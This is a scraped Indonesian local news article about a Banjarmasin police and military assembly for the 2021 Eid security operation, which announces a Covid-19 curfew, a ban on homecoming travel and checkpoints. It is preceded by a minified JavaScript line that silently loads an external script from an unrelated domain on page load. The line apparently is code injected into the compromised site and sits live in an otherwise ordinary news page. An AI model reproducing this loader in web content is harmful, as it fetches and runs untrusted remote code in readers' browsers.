(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pemko Banjarmasin bersama jajaran Polresta Banjarmasin dan Kodim 1007 melaksanakan apel gelar pasukan di Taman Kamboja Kota Banjarmasin, dalam rangka Operasi Ketupat Intan 2021 di daerah hukum Kota Banjarmasin, Rabu (5/5/2021) sore.
Apel tersebut dipimpin langsung oleh Pj Wali Kota Banjarmasin Akhmad Fydayeen, sekaligus mengecek ribuan personel bersama Kapolresta Banjarmasin, Kombes Pol Rachmat Hendrawan dan Letkol Arm Agung Nugroho yang akan dikerahkan dalam pengamanan menjelang Idul Fitri.
Kemudian dilanjutkan dengan Tactical Floor Game (TFG) atau penjelasan dari Kabag Ops Polresta Banjarmasin, Kompol Rizali yang menerangkan sejak 6 sampai 17 Mei 2021 akan diberlakukan jam malam di wilayah Kota Banjarmasin.
Berdasarkan data pemerintah menjelang Hari Raya Idul Fitri 1442 Hijriyah, tren kasus Covid-19 di Indonesia mengalami kenaikan sebesar 2,03 persen.
Hal ini disebabkan karena adanya peningkatan aktivitas masyarakat, seperti pada tahun 2020 tren kenaikan kasus setelah pelaksanaan libur panjang meningkat 93% setelah pelaksanaan libur Idul Fitri.
Pj Walikota Banjarmasin, Akhmad Fydayeen mengatakan mengingat penyebaran Covid-19 yang semakin meningkat, maka ia berpesan kepada masyarakat Kota Banjarmasin bisa menjaga keluarga dan menahan diri untuk tetap menaati protokol kesehatan sesuai dengan peraturan pemerintah. Guna mencegah meluasnya penyebaran Covid-19 yang masih melanda.
“Mulai dari diri sendiri Insyaallah saudara kita se-Kota Banjarmasin bisa selamat dari bahaya Covid-19 ini,” ujar Fydayeen, saat ditemui awak media, usai menjalani apel tersebut.
Sementara itu, Kapolresta Banjarmasin, Kombes Pol Rachmat Hendrawan mengatakan terkait Operasi Ketupat Intan 2021, mulai dari tanggal 6 sampai 17 Mei 2021 tidak ada mobilisasi mudik karena angka kenaikan Covid-19 terus bertambah.
“Maka akan ada pemberlakuan jam malam, mulai dari pukul 22.00 Wita, dimulai dari tanggal 6 sampai 17,” bebernya.
Oleh karena itu, Operasi Ketupat Intan 2021, pihaknya mendirikan 5 pos pengamanan yang terdiri dari 3 pos pantau dan 2 pos pelayanan yang melibatkan 600 personil gabungan di Kota Banjarmasin
“Untuk penyekatan 3 pos pantau di Kilometer 6, bundaran Kayu Tangi, Trisakti yang dijaga setiap personil,” tuturnya.
Kapolsek juga mengatakan, saat diberlakukannya jam malam tersebut nantinya di atas pukul 22.00 Wita cafe-cafe masih diperbolehkan buka dan beroperasi.
“Namun tidak boleh makan di tempat, hanya take away saja,” pungkasnya. (kanalkalimantan.com/tius)
KANALKALIMANTAN.COM, BANJARMASIN – Dua hari jelang pemungutan suara Pilkada 2024, Komisi Pemilihan Umum (KPU) Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Melihat dan menyikapi penyelenggaraan Pilkada (Pemilihan Kepala Daerah) Kota Banjarbaru, pasca terbit… Read More
KANALKALIMANTAN.COM, BANJARBARU - Warga Kota Banjarbaru masih dibuat bingung terkait teknis pemungutan suara pada Pilkada… Read More
KANALKALIMANTAN.COM, BAKU - Pemerintah Indonesia melalui Utusan Khusus Presiden Republik Indonesia Hashim Djojohadikusumo berhasil memikat… Read More
KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More
This website uses cookies.